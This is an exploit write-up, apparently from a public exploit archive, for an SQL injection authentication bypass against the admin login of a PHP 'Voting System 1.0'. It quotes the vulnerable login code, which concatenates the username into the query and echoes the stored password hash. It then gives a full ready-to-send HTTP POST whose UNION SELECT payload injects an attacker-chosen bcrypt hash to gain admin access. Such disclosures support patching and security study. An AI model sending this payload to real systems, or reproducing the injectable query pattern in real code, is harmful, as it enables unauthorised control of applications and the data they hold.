Voting System 1.0 - Authentication Bypass Vulnerability

# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)
# Exploit Author: secure77
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB

You can simply bypass the /admin/login.php with the following sql injection.
All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing



########################### Vulnerable code ############################
if(isset($_POST['login'])){
	$username = $_POST['username'];
	$password = $_POST['password'];

	$sql = "SELECT * FROM admin WHERE username = '$username'";
	$query = $conn->query($sql);

	if($query->num_rows < 1){
		$_SESSION['error'] = 'Cannot find account with the username';
	}
	else{
		$row = $query->fetch_assoc();
		echo "DB Password: " . $row['password'];
		echo "<br>";
		echo "<br>";
		echo "Input Password: " . $password;
		if(password_verify($password, $row['password'])){
			echo "Equal";
			$_SESSION['admin'] = $row['id'];
		}
		else{
			echo "not Equal";
			$_SESSION['error'] = 'Incorrect password';
		}
	}
	
}
else{
	$_SESSION['error'] = 'Input admin credentials first';
}

########################### Payload ############################
POST /admin/login.php HTTP/1.1
Host: 192.168.1.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 167

login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -